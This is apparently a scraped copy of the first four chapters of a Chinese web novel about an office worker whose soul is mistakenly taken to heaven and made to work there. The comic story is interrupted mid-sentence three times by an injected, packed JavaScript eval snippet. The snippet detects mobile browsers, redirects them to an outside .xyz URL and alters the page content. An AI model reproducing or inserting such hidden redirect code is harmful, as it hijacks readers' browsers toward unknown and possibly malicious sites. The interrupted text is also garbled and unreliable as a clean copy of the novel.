《死后在天庭当牛马》 1. 第 1 章 洛黎死了,死得莫名其妙。 他加完班抬头瞄了眼时间:九点半,寻思着干脆摸鱼眯一小会儿,撑到十点,还能报销个车费,哪里知道眼睛一闭再一睁,眼前除了趴在工位上的自己,还有站在他身后,正盯着自己一动不动,双颊酡红,一脸兴奋的俊秀古装男子。 “白无常?”洛黎脑子有些懵,“现在地府勾魂的工作效率这么高?”他实在不解,自己上周才体检过,除了脾气越发暴躁,各项指标均显示着他是一名健康的成年男子,但现在,体检表好像成了个笑话。 “哎呀,你可终于回来了,我可太想你。你不知道,自从你下凡历劫,太白老儿每天跟发了疯一样,我那天府宫的门槛都快要被他踏平了。你说说他,好好炼丹不行吗?非什么事都舔着脸往上凑,你不在的日子里,他这毛病改不了,揽了一堆破事儿,平白多了许多活,这不,现下你回来了,我终于能清净了……” 男子眉眼弯弯,抱着洛黎瘪着嘴,越说五官越是扭作一团,像是受了诸多委屈,一张嘴那叫个滔滔不绝。 洛黎嘴唇翕动完全寻不到插话的时机,好看的眉眼轻蹙,心道是:好好一个人,怎么就长了张机关枪似的嘴。 那人一身酒气,只是站在他身旁嗅上一嗅,也好似要醉了。洛黎被拽着走得也是摇摇晃晃,眼看着就要飘出高楼的窗户,他略带不舍地回头看了眼自己趴在工位上仅用了三十年的身体,视线扫过桌上斥巨资购入还没用几天的真皮包,再也走不动半步,心里一阵委屈。 “我死了?”洛黎红着眼眶,想往回走,桌上真皮的包里还放了张银行卡,卡里是自己攒的娶媳妇钱,往日自己省吃俭用,不肯多花一分,早知道如此,当初就该先享受人生,“我真的死了?”他声音颤抖,不敢信。 “怎么能说是死了。”白衣男子头摇得像拨浪鼓,“和光君,你这叫重归仙位,日后便脱离这世俗轮回,再也不用面对生死了,开不开心,激不激动?”洛黎还没开口,他摆着手,一脸“我懂你”。 他本来还在自怨自艾,回顾着自己这短暂的一生皆在当牛做马,什么也没捞着好,就英年早逝,自己孤家寡人一个,连自己的媳妇本也不知道会便宜了谁。 忽听白衣男子喊自己“和光君”,洛黎硬生生将想哭的心情给憋了回去,抬头看向他背影。 “兄台,你是不是认错人了。”他回拽着男子的长袖,眼看着分明是影楼轻纱材质,抓着却分外滑溜,语气中带了一丝怀疑,“大哥,你听我说,你听……哎呀……” 男子絮絮叨叨自说自话,两人已经飘出窗外,洛黎朝下看去,双脚悬于百米高楼外,他下意识搂着男子的胳膊,大口喘着气。 “走也。”摩登高楼间的风,急促且毫无规则,尖锐的呼啸声穿过耳朵,留下一阵嗡鸣。 洛黎庆幸自己的手腕被男人握着,不然自己定会从这百米高空跌落下去,他张开嘴,声音瞬间被风吹散,飘向各处。 他勉强睁开眼睛,看长发飘飘的男人长袖一挥,风卷了沙,迷了眼。 百米高空,哪来的沙。洛黎揉着眼睛睁开,眼前一片白茫茫。 “这,这是哪里?”洛黎觉得自己刚刚好像很平静地接受了自己死亡这件事情,可眼下谁能来告诉他,什么时候地府的门口立着“南天门”的牌匾了。他仰着头,四下环顾,事情的发展好像出乎意料。 男人笑得好看,打着酒嗝,不知从哪里摸出个白瓷瓶,仰头就往嘴里灌,抬手指向高耸的白玉牌匾,笑道:“和光君怎么连南天门都不认识了。”他勾着洛黎的肩,分明是将重心都堆在了他的身上,可洛黎并没有感受到过多的分量。 洛黎扭头,猝不及防一股酒气扑面而来,男人握着白瓷瓶的手拍在他的肩头,继续道:“今日酒宴上喝多了,我就不送你回启明殿了。” “拜托,你到底是谁呀?”洛黎拍开他的手,后退了几步,“这又是哪里啊?”他总觉得哪里不太对,可又说不太清楚。 “和光君不过入世渡劫,怎得就好像是把老哥哥忘了?”男人指着自己,咧嘴露出一排牙,“我乃司命星君,你在天庭上最好的兄弟。” 洛黎知道出什么问题了,这货绝对是认错人了,他哭笑不得,声音着急:“我不是你的和光君,你认错人了,赶紧放我回去。” “瞧你,何必故作生分呢!”男人拍着胸脯,打着酒嗝,“咱俩偷老君仙丹那事儿也不是我告发的你,你要怪也该怪你那同僚同尘君不是,我虽然没有入轮回,但亦是受了雷刑的。”边说,他边要扯开衣襟露出后背,“不信,你瞅瞅,伤是好了,但疤还在呢!” “这都哪跟哪儿,”洛黎左顾右盼,见无旁人,慌忙抓着他胸口的衣裳,试图阻止他真的将衣裳褪下,“你,你别这样啊,你喝多了,你知道不?” “胡说,我司命最是好酒,千缸不醉,谁说我醉了?”自称千缸不醉的司命瘫在长阶上,一点点往上挪,“和光君,再坚持一下,咱就快到了。” 洛黎朝后挪了几步,想着与其同酒鬼废话,不如自食其力。如是想着,他倒也没有如是做着。他走到长阶边沿,眼前白茫茫一片,辨不出方位,再往前一步,脚下踏的又是绵绵云彩,寻不到重心。他抬脚不知该往何处落,生怕一个不小心跌下去,万一跌过了头去了地府也是闹心,又怯生生地缩了回来。 “你回来以后,我再也不用看太白老儿那张脸了。”司命又挂到他的背上,勾着他转了方向,迈上长阶。 洛黎瞧他这模样想来是醉得厉害,连人都辨不清,胡乱招了人的魂便往天上带,他若是能安然回去,定要去武当山的玉虚宫找那元始天尊告上一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694725|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告。 他环顾四周,七彩的光从四周散来,耳畔传来仙乐声声清漾,夹着鹤鸣,不知是何方神仙正在赶路。再抬眼往长阶上看,每级铺着层层云雾,白玉柱前山一般的守卫各守一边,此时扭着头不知看向何处。 洛黎再看提着空酒壶倚着梯坐起身的司命,守卫对此见怪不怪,他想此人大抵是个好酒的惯犯。他推开挡在台阶中央的司命,莫名有种叫天天虽应,但应的是已读乱回。 洛黎好似又想到什么,一拍脑门踩着坐在一旁司命的衣摆,一口气跑到顶,冲着守卫跑了过去:“守卫大哥,您方便送我下去吗?我家中上有老下有小,实在是这个酒鬼认错了人,强行将我虏了上来,我对你们这儿不熟的,真的不熟。” 守卫身材高壮,洛黎生怕他听不清,踮着脚仰着头,说话声音都重了许多。守卫铠甲沉重,转身时身上铜片互撞,声音振聋发聩。他低头瞄了眼洛黎,又瞥了眼挣扎着从地上爬起来,说着胡话朝他们疾步走来的司命,扭头又重新望向别处。 “我既已将你安然接回,断然是不会再让你逃回去的。”司命手一抬,掌心凭空多了本簿子,他摘了头上的簪,在本上寥寥几笔,“你看,这事儿木已成舟,你跑不了了。”说完“嘿嘿”憨笑两声,拽着洛黎的胳膊就要往南天门走。 逃?洛黎斜了司命一眼,心中警铃大作,想来那和光君定不是什么好职位,不然怎么能逼的他连神仙都不当了。 “大哥,你真的认错人了,现在送我回去还来得及。”洛黎哭丧着脸,双手环抱守卫身后的白玉柱,本还想挂上腿,却被司命的腿勾着,一时间两人僵持不下,他无奈道,“天上一日,地上一年,你若是再不将我送回去,就真来不及了。” “就你这牛似的倔脾气,化作灰我都认得。”司命语重心长,知道硬得不行,软着声音循循道,“我知道我都懂的,都怪太白老儿给你安排的活计有些多,但是你也得为他考虑考虑,他养着你们启明殿一干人也不容易……” “停停停,”洛黎最是听不得这些,在世时,这样的话听得耳朵都要磨出茧子,可是不该加的班是一点没少,该加的工资是一分没给,“哥哥哥,你听我说,你真的认错人勾错了魂,你要不睁开眼睛再仔细看看?” “我睁着眼睛呢!”司命两指撑开自己的右眼,头上下一点,示意自己看完了,扭头拍了拍守卫的胳膊,“和光君想必是下凡时摔了脑子,你们好生将他送到太白宫启明殿,”他顿了顿,“以防万一,先捆了。”说完,潇洒腾云摇晃着扬长而去。 洛黎还没来得及开口,只觉得周身一束,低头才发现被闪着金光的绳缠了几圈,左右蹦了两步,眼见就要往地上去,半道被守卫一把扛起,挂在肩头,被迫进了南天门。 “你们真的认错人啦,我不是和光君呐!!!” 2. 第 2 章 洛黎乍醒时,只觉得半边身子麻透了,微微动弹,浑身犹如千万根毛针在扎。他缓了良久,翻了个身,身体一曲一伸的姿势宛如无足的长虫,缓慢挪向殿门。 他能干什么,还不是想着尽早回去,洛黎想着出了门看到云彩就往里蹦,他这下倒是不怕跌过头了,就怕再不下去,自己的身体恐怕要化为灰烬了。 殿门口光华四射,一道人影突然闪现,背着光,面容遮了大半。 “你是谁?” 洛黎还来不及回话,感觉身子好像又被扛起,颠簸了一路,眼冒金星。 “司命你给我滚出来,老朽让你去接人,你看看你给我接了个什么玩意儿回来?” 洛黎随着话音一同落地,他猜那人口中的什么玩意儿大概指的是自己。只是听那声音气势汹汹,想来并不是什么好事。他佯装自然地顺势朝门口方向翻滚两圈,蜷缩在地上,双目紧闭一动不动。 “星君,你这一大早又是唱的哪出戏?”司命的声音懒散,一听就知道是刚被人从床上薅醒,“什么什么玩意儿,和光君你都不认识了?” 洛黎觉得脸上有些痒,撇着嘴朝脸上吹气,又挠了挠胳膊,心想:你们吵吧吵吧,反正这一切与我无关,早说了认错人偏不听偏不信,这下看你们怎么收场。转念,又祈着自己在凡间的躯体还能再坚持坚持,至少坚持到自己回去。 “别装睡,赶紧起来。” 他没敢动。 “再不起来,老朽不介意将你丢去喂青牛。“ “起了起了。”洛黎被捆仙绳捆得紧,他挪着身体想坐起来,可越是使劲,那捆仙绳越是勒得紧,眼看着他就要喘不上气。 老者转着腕,拂尘轻轻一扬。洛黎顿感神清气爽,浑身舒坦。他低头再看,那捆仙绳凭空消失,若不是胳膊上还留着几道红印,仿佛就像是场梦。他揉着双臂坐起身,就这么仰头看着站在自己面前的两个人。 坐在床上披散着长发的俊秀男子,是勾他魂魄上天的司命。瞧他的模样,半张脸上玉枕睡出的红印还未消退,双眼都只露了条缝,身上衣衫凌乱,果然是刚醒。 洛黎扭头再看另一人,白袍与周身仙雾缠绕,手执拂尘,胡须与头发雪白,额间一枚金印,虽瞧不清模样,但这气质这感觉,他十分熟悉,这就是领导。 司命打着哈欠趴在床沿,捏着他的脸凑近看,突然身子朝后仰去,一双眼睛瞪大宛若月宫金蟾:“艾玛,这谁呀?” 洛黎冲他翻了个白眼,揉着被掐红的脸,满是无语,他也不知道这货能不能看懂他此时对他的讥讽。 “你说呢?”老者的脸上分明带着笑,声音却透着刺骨,“你来告诉我他是谁?”他的声音并不像寻常老者那般沧桑,但一开口给洛黎的感觉,是让他想到了学生时代偷摸着站在走廊扒着窗户朝里探的年级主任,“你说说,连接仙这么点小事你都办不好,日后再有什么要紧的事,让我怎么相信你?” 司命嘴唇翕动,话还没出口,见老者甩着手中拂尘,立马闭上了嘴,可洛黎看那老头只是单纯将拂尘换了只手拿。他想,看来这位至少是总经理以上的领导级别,心生担忧,自己往日也就与组长相交甚密,再往上走的,这没处过啊! “对呀,你说你谁啊?”司命知道自己做错了事,心生愧疚,自是不敢冲着老者发火,盘腿坐起,干脆对着地上的洛黎发难。 洛黎心中暗道:不好,这厮是要甩锅。他忙狠掐了把大腿,一个飞扑,趴在老者脚边,卷着他的衣摆夹着嗓子诉道:“我冤枉哇,我就一普通人哪来的本事上天入地,”特意加重了“普通”两字,“我勤勤恳恳在单位加班加点,眼看着一大爆款项目就要在我的电脑里生成,你看看你干的都是什么事儿呐!!!”说着,他扭头眼神幽怨地瞪了眼司命,心下暗爽:这个锅您可自己端好嘞,我不背。 “你撒手。”老者拽着被洛黎卷在手里的衣摆,原本就不光洁的额头,沟壑更深了几分,“所以这是到底谁,我启明殿的和光君呢?” 他扭头看向司命,正好撞见司命将个白瓷瓶藏进被窝:“你藏什么呢?” “没藏呢!”司命随手将被子堆到身后,推着老者远离床榻,“星君!太白星君!老李!你说说你,这本也不是什么大事,不过就是个启明殿的小童子,你使唤谁不是使唤呢?” 洛黎一听这话,觉得不太对劲。他四肢并用朝前挪了几步,重新抱住太白星君的大腿:“使唤人也得招个顺手的不是,您这儿的业务我也不熟。这样,我给你们出个主意,你们先将我送回去,然后再将那个和光君的魂勾上来。这事情天知地知,你知我知,”说着,他瞥了眼司命,手指一转,“他也知道,你看,知道的人也不多的嘛!” 司命见太白不说话,想这老头怎么关键时候掉链子,一巴掌拍在他后背,朗声道:“这凡间呐,也不是咱们想下就能随便下去的,老李你莫要听他胡诌。” “你瞎囔囔什么呢?”太白甩着长袖,糊了司命一脸,“你是深怕别人不知道你招了个凡人上来?” “天上小仙你可都认得脸?” 说话间,司命的手指划过虚空,洛黎“哎呦”一声,整个人又被捆仙绳束住,跌在一旁。太白抬眸冷冷看了他一眼,长袖一挥,将他送出两丈外,抬袖虚掩着他和司命的半张脸,不知道在密谋着什么。 洛黎这一摔,又是摔得眼冒金星,等缓过神来,耳畔依稀听到什么“一条绳上的蚂蚱”,“他也是干策划的”,“先压榨,我再想想办法”等等。他欲哭无泪,这好好加个班招谁惹谁了,惹上这么一摊子大事儿。 他看着门外那七彩的光华,默默许愿:如果自己还能好好回去,他一定立马辞职换份再也不用加班的工作,远离加班,保平安。 就在洛黎感觉自己整个人又要开始发麻的时候,坐在床沿矮阶上的太白缓缓放下手,嘴角微微上扬,洛黎想:完蛋,这怕不是个好信号。 “司命所言甚是。” 太白起身与司命道了别,走出天府宫时,洛黎看他冲自己点头的眼神,好像甚是满意。 等等,他在满意什么? 洛黎回头,正对上司命几近贴着自己鼻尖的偌大一张脸。他蹬着腿,挪着屁股后退些许与他拉开距离:“你要做什么?” “跟你谈笔交易。”司命一笑,一双桃花眼就弯成月牙儿,让人见了也跟着心生欢喜。 但洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694726|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎现在不是人,他是只魂,见了这样的眼睛,只会觉得毛骨悚然。他脸上挤着笑,全然没有了刚刚将锅甩回去的气势:“哥,我错了。”声音微颤,但态度诚恳,“您别笑了,笑得我心里发怵。” 他话音刚落,那双月牙眼缓缓睁开,黑白并不分明的眼睛,正眼看人的时候像是蒙了层雾,朦胧水灵,似醉非醉。 “你方才很是能言善道啊!”司命蹲下身子,长发及地,铺开像极了水里的藻。 “都是领导教得好。”话是脱口而出,洛黎忙摇头改口道,“是您教得好。” “我教你了吗?” “教了,您勾我上天的路上教了许多,只是我学习能力不佳,只得其一。”洛黎咽了咽口水,他试探着追问道,“那您什么时候放我回去?” 司命勾着嘴角,说的话却是分外冰冷:“是你说的,天上一日地上一年,你觉得你还能正常地回去吗?” 洛黎神色一怔,忽感浑身像是被卸了力,如一滩泥巴软在地上,一动不动。 初时知道自己的死是一场闹剧,一心想着只要身体还在就能挽救。可现下身体没了,那他就真的回不去原来的生活了。他觉得自己眼眶里好像进了沙,难受得要命,可哭又哭不出来,只觉得心里头堵得慌。 “我怎么能就这么死了呢?”洛黎喃喃自语。 司命往日接仙归班,不论地位高低,多是欣喜若狂,怎么如今难得接错一个,竟这般沮丧。 “虽然是我害了你性命,但你也因祸得福,从此跳出此间生死,不再受轮回约束。”洛黎抬眸看着他,司命在那双眼睛里看到了自己,他抬手,轻轻拍了他的背,“你莫要再难过。” 洛黎听了这话,内心毫无波澜,脑中也是一片空白,这感觉就好像他丢了魂。 “呵呵”他干笑两声,又觉得好笑,自己现在就是只魂,丢不了了。 司命瞧他状态不太对,又怕生出旁的事,忙安慰道:“你也莫要担心,我方才已与老李,哦,就是太白星君商量过了,日后你就以和光君的仙号在天庭行走,待他归来,你是去是留,我们不插手。”他边说,一手边抚着他的背,“你现下凡人生魂,在天庭行事多有不便,太白近些日子便会为你炼制仙丹一枚,为你洗髓换骨,”司命说到此处,轻咳两声,见洛黎重新看向他,又继续道,“只是你也知道仙丹炼制实属不易,所以,在和光君归来之前,你就暂代他给太白打打下手。” 洛黎问:“那和光君什么时候回来?” “这个……”司命笑了笑,一脸故作高深地看着他。 洛黎原本已经微微扬起的嘴角立马收敛:“送我回去。” “有偿打工,这与你在凡间所行之事并无差别啊!”司命指尖轻触捆仙绳,绳索化作金光落下。 “一枚仙丹,要我打一辈子工,是你有病还是欺负我算数不精啊?” “你是不知道仙丹的价值,所以才会有此误会。”司命说着,洛黎转过身去,他小挪几步又面对着他,他又侧过身去,“你再挪,我就将你捆了。” 洛黎不躲了,双眸直勾勾地盯着他的脸:“那你知不知道,在我们那儿已经不兴这种不平等条约了。” 3. 第 3 章 “这是什么话?”司命站起身,雾似的轻纱拂面,洛黎看到他墨色的衣上隐隐有流光浮现,宛若夜幕一闪而过的流星,“我虽不曾在凡间生活过,但对那人才市场的规矩也是略有耳闻。什么996,什么单双休,你莫要欺我不懂。” 洛黎听到这些,顿时起了一身鸡皮疙瘩,忙打岔道:“神爱世人,更应懂得取其精华去其糟粕,你刚刚说的那些都是凡间劳务市场陋习,学不得学不得。” 司命上下打量他,忽道:“你明日同我一道去瑶池宴会露露脸。” 这话题怎么转得猝不及防,洛黎呆愣着张嘴“啊”了一声,不知该如何回答,所幸司命好像也不打算听他的意见。他的手从宽袖中伸出,将他从地上拽起来,朝屋外走。 “啊什么啊,随我来。” 五月的凡间早已暑气蒸腾,街巷间行人薄衣短衫,连草丛里的蛐蛐都开始试探着抖腿。可五月的天庭却似十二月的凡间,云缠雾绕,寒意刺骨。 先前在司命寝殿时还不觉得,此时站在天府宫外的玉阶上,洛黎不自觉地抱紧双臂,再看眼前的司命,腰间衣带随风,层层衣袂如绽开的千叶莲,暗叹:果然高处不胜寒,铁冠道人诚不欺我。莫非他其实也是位神仙? 司命好似感受到了背后如芒针般火热的眼神,蓦然回首,才注意到洛黎的眉间竟结出了一层薄薄的霜,他一拍脑门惊道:“你瞧我这脑子。” 一道金光自司命长袖中挥出,刹时将洛黎包裹其中,一股暖意从夺目的金光中源源不断地涌向他全身,寒意瞬间消散。 “这就是仙术?”洛黎觉得不可思议,待金光散尽,他发现自己那一身大红T恤绿裤衩已经被素雪长衫替代,款式与司命身上所着略有相似。 “可是想学了?”司命瞧他一副没见过世面的样子,突然就原谅了他对自己先前的诸多冒犯,“仙者,形神俱妙,与道合真;聚阴阳之粹,汇造化之工;逍遥乎无事之业,超脱乎尘俗之笼。” “我高考语文刚刚及格,90分一分不多一分不少。”洛黎面色自若,淡淡道。 “什么意思?” “听不懂。” 司命说起“之乎者也”的时候,周身仙气萦绕,可当他听完洛黎的回答,仙气也跟着蔫儿了几分,再看他鼓腮瞪眼怒甩长袖的模样,与他方才口中的仙者好似挂不上一毛关系。 洛黎看他吃了瘪的模样,心里顿时舒坦了许多,连带着对他勾错魂的怨念也减了半分。 司命看着眼前这张与和光君有着七八分相似,似笑非笑的脸,手指着他的鼻尖“你”了很久,终是摇了摇头,长叹:“孺子不可教也。” 那日他在瑶池宴会上与各路神仙对饮,多贪了几杯,哪里知道会认错了人,即便只是认错了,那也不过是场阴差阳错,自己趁着神不知鬼不觉蒙混着重新掉包即可,哪里能想到自己的手怎的就这么欠,非要在命簿上多添那几笔。他仰天亦是欲哭无泪,看着洛黎心中那更是惆怅万分。 可他是司命,天塌了也不能慌,他调整着情绪,一双眸子紧紧合上又缓缓睁开:也罢,走一步看一步。 他瞥了眼洛黎脑袋上染了黄的板寸,觉得扎眼,手微抬,给他续了发改了颜色,又愁:凡人生魂本就重,加之这人完全不曾修习过仙门道法,腾云驾雾不说,也不知道仙鹤能不能驮得动。他眼下只盼着太白能赶紧将仙丹炼出,至少先将这凡胎洗去。 洛黎眼角余光瞥着站在身侧的司命,短短时间内脸上五颜六色,不知道他在想什么,也不敢问,只是一直挠头,不知道为什么,他觉得头皮有些麻麻的。 司命长长呼出一口气,缓缓道:“和光君喜素,平日穿戴从简,又因生性腼腆,甚少出门,多在殿内为太白处理些天帝的锦囊要事。他与同尘君同为太白座下仙童,关系不合,日后你若碰到他,绕着些走。”司命说完这话,心还悬着。 太白先前匆匆离开,便是先回殿内将同尘君找个由头支开,这俩关系甚密,他定能一眼看破这厮不是和光君,到时候又闹,哪哪都不好交代,不如待洛黎吞了仙丹,倒时乾坤已定,他也没了说法,届时再悠着他,和光君之事不可急,许是还能拖些时日,保不齐那会儿和光君也该重归仙班。 司命想到此处,掐指一算,竟算不出个大概。自己此番插手乱了两人命数,这洛黎和凡间和光君的命数已经不在他的掌控之中,也不知道是孽还是缘。 洛黎不知怎的,觉得自己的脑袋越发痒,不知道是不是要长脑子,抬手就挠,挠着挠着便看到自己的头发以肉眼可见的速度在急速长长:“诶诶诶,这是怎么了?” “替你改改造型,你那板寸扎了我的眼。”司命见他挂了脸,又软着声音好生道,“你现在是借着和光君的仙号在天庭走动,待人处事不说,模样身姿自然是要处处贴他一贴,待日后你渐渐融入,还不是你想怎样就怎样。”又严肃道,“只是你那大红的老头衫莫要再穿了,什么品位!” “要你管。”洛黎想自己一社畜,心灵上已经很不舒坦了,身上自然是怎么舒服怎么穿,“不知道我的头七,有没有人去祭拜。”他喃喃低语,凡间时,自己在人情世故上也是花了钱的,轮班自费的下午茶,自己可一点没省。 “别想了,你的头七早过去几年了。”司命见他眼睛又盯着玉阶外的云朵发直,忙道,“现在你若是跳下去,那只能是做孤魂野鬼,想来你还没见过黑白无常吧!嚯,那俩长得那叫一个磕碜,看一眼定叫你轮回梦里还能惊醒。” 洛黎一口气憋在嗓子眼,自己不过是瞧那朵云长得稀奇,这司命怎么就当着自己的面编排起了黑白无常,想是他俩不在一个体系,或许还暗藏着些竞争关系。 他转头想去看司命,不知何处来的风,将他新长出来的三千烦恼丝糊了一脸,他“呸呸”往外吐着头发,双手在脸上胡乱扒拉,心中又生伤感,感觉自从来了天上,诸事不顺。 “又怎么了?”司命勾了勾手指,一根如意簪自如地斜插进洛黎的发间,“你先前觉得一颗仙丹作为薪资不足,那日后再教你些仙门道法,可够?” “不了不了。”洛黎疯狂摇头,他也是看过电视剧的,剧里神仙也得考学,而且学得越多,责任越大,动不动以身殉道,他可不想再死一次了,“已经死过一次了,不想再死第二次了。” “仙者,寿同天地,明并日月。你也是没有机会死第二次的。”司命想既然人已经先稳住了,那修习仙家道法的事情便待日后循循善诱。 司命见他鬼鬼祟祟时不时偷瞄自己,一脸算计,又道:“有话直言便是。” “我能不能在天庭当条咸鱼,或者你要称呼为小米虫也不是不可以。”洛黎边说,余光边瞟向司命,“我看你好像跟启明殿的太白星君关系很好,你能不能帮我跟太白说些好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694727|173400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话?” 他不是和光君,纵然和光君在启明殿待过很长一段时间,那时间也不是他待的。洛黎清楚地知道,自己其实只有司命这一条大腿可以抱,毕竟是他做错了事,可若是将来他决心破罐子破摔,那自己又不知道会怎样。 “你还能再有出息一点吗?”司命眼睛一直眺望着云深不知何处。 洛黎长叹一声:“你以为我是为了没出息才加的班吗?” 话至此,司命也不再多说什么,气氛愈发尴尬,幸好,一只仙鹤灵活地拍着翅膀,破云而来,稳稳落在两人面前,昂着头一声啼鸣,额顶的丹红在橙光中更是醒目。 “上去。” “什么玩意儿?”洛黎惊讶地看着司命,一脸不敢置信。 “赶紧上去,它会送你回启明殿的。”司命有些不耐烦了,这人除了脸,身上没有半分与和光君相似之处,“和光君寡言,你到了启明殿,记得凡事都少说两句,”司命见他还想开口,继续打断,“太白老儿是天帝跟前的红人,敌对甚多,诸多双眼睛盯着你们启明殿,若是被旁的仙使抓着把柄送你去处雷刑,届时魂飞魄散大罗金仙都救不了你。” 司命见他双目瞪圆,一双手紧紧捂着嘴,心中乐开了花,早知道威胁这般好用,早该用了。又感叹自己的恻隐之心,我还是太善良了。 “上去。”司命站上台阶,一脚将人踹上鹤背,叮嘱道,“莫要抓它羽衣。”又对着仙鹤道,“中途不要停,将人送到太白宫,看着他进去你再离开。” 仙鹤仰头一声鸣,就当是应下了,一跃入了云层,又展翅飞远。 司命看着洛黎渐远的身影,翻开掌心的簿子,看了眼自己写得龙飞凤舞的那一页,狠狠甩了自己一个耳光:“喝酒误事啊!!!” 瑶池宴会为期三日,今日是最后一日,虽不及第一日热闹,但仍有四方仙人承旨而来,或腾云驾雾,或架青鸾乘白鹤;自昆仑之虚,从方外蓬莱,数道霞光穿破云层,仙乐齐鸣。 自那日被司命送回太白宫启明殿,洛黎生怕被人瞧出破绽,送去雷刑,待在屋中不曾踏出半步,直到今日司命上门拎着他出门。 洛黎往日只觉得上班时间漫长,可这几日他觉得没有手机没有互联网的天庭时间更是难熬,而且他分明是受害魂,不知为何竟生出一种始作俑者的错觉。 司命也觉得洛黎今日有些不对劲,可携他去宴会,是当初自己与太白约定好的。 他原想着以往和光君虽多在启明殿处事,但去过启明殿的,多多少少都与他见过一面,有些印象。既然如此,不若干脆让洛黎以和光君的身份出去抛头露面,时间久了,人们的印象自是洛黎版的和光君更深刻些,也方便日后他帮太白处理事务时,各处走动。 司命本想着邀太白一同前往,但太白抓着被烫焦的白发,哭丧着脸并重新阖上炼丹房的重门,婉拒了。 无法,权当是能者多劳。司命侧头瞥了眼,此刻低垂着眼乖巧跟在自己身后的洛黎,袖中指尖微动,一缕细线自他食指缠上了洛黎的手腕。他自当多了个心眼,在洛黎身上牵了根线,以防他趁着自己喝多时逃跑。 “哟,这不是启明殿的和光君吗?”何仙姑手持八子金莲,裙摆上的千蕊莲台在风中好似被注入了生命,层层绽放,“素闻和光君不喜热闹,今日真是难得。” 这声一出,司命心中暗喜:妥了。 4. 第 4 章 瑶池盛会一年一度,八方仙真承旨赴宴,仙乐缥缈,翻涌的云层间霞光溢彩。 “司命,请往这边走。”掌荷的仙使在前引路,九曲廊桥外满池青莲,空气中荷香扑鼻,令人气爽神清。 一路上众仙使纷纷向他行礼,洛黎看着司命的背影,想他定是地位也不低,只是不知与太白星君如何。 手持金莲的何仙姑与提着花篮的蓝采和说笑着迎面走来,见到司命驻足颔首,瞥见跟在他身后的洛黎时,何仙姑惊讶道:“素闻和光君不喜热闹,今日真是难得。” 洛黎低垂着头不敢应,往司命身后挤了挤,又听何仙姑道:“不逗你了。”纤纤玉指朝身后宴池中央指去,“水君和三太子正在宴中斗酒,动静甚大。和光君如此怕生,还是莫要靠近得好。”说罢,牵着蓝采和嬉闹着走远。 “水君?淮水水君吗?”洛黎脑中赫然出现一只落了水的白猿形象,觉得有些逗,忍着不笑出声。 “是他,”司命脸上愁云遍布,站在廊桥上不再往前半步,“这厮自打与淮水龙王成了亲家,已有百余年不曾来过天庭,早不来晚不来,怎么偏偏在这个时候来。”他看着洛黎,愁色又在眉间加重几分,“此仙聒噪得很,真是麻烦。” 司命在廊桥上来回踱步,时不时抬头看眼正好奇四处张望,浑然不知即将发生什么的洛黎,又叹道:“你先在此处等我,莫要走远。待我去宴中探探虚实,再来接你。” 洛黎看着司命离开的背影,莫名觉得他的脊背弯曲,步履沉重,走两步还不住摇头,再看他头顶一朵晦暗的愁云跟着他一同走走停停。 九曲廊桥往来仙客不绝,经过的引路仙使反反复复一句话,他听得耳朵都要磨出茧子,可除了先前与他主动打招呼的何仙姑,之后很长一段时间并无仙理会。 他坐在廊桥扶栏上,无聊地数着池里游过桥洞的锦鲤。 洛黎想和光君这仙,性子许是比司命说的还要孤僻。 他数累了鱼,又拨弄起腰间绸带,隐约听见有女子嬉笑传入耳朵,洛黎寻声望去,不远处蓝采和正被一群衣着华丽的仙子围在其中,只见他双脚踩在白石扶栏上,眉飞色舞,手打着快板,正说戏呢。 他左右环顾,还是不见司命身影,起身凑了过去。 洛黎本以为是在说些什么天庭趣闻,没想到才听了两句,心中大惊,哪里是什么趣闻,这蓝采和口中所言分明是天庭秘闻。他双目发光,又朝前挪了几步,侧着身子将耳朵探出。 蓝采和讲起故事来声情并茂,那独属的少年正太音亦是抑扬顿挫,加之快板的节奏,故事讲得更是跌宕起伏。待快板惊堂,周围仙子连连喝彩,争相提问,欲刨根问底。 “这是哪宫的小仙君?”芙蓉仙子歪着头,满面天真,“我怎么不曾听说过这事?”她头簪芙蓉,身裹渐变粉白广袖流仙裙,腰系珍珠绸带,真真是好一朵出水芙蓉。 “反正就是有这么个小仙君因对同僚生出感情,为防止筑成大错,所以自请下凡。”蓝采和也不恼,收了快板双手环胸,昂头看她,“你若不信便只当个故事听。” 洛黎觉着,故事虽落了俗套,但对这活得分外清醒的仙者生出几分惋惜,摇着头又往嘴里丢了颗莲子,心道:这故事虽说不怎么样,但这瑶池莲子的味道着实比凡间的好上千万倍。 “哎呀,你这厮怎得挖了我金莲的莲子。” 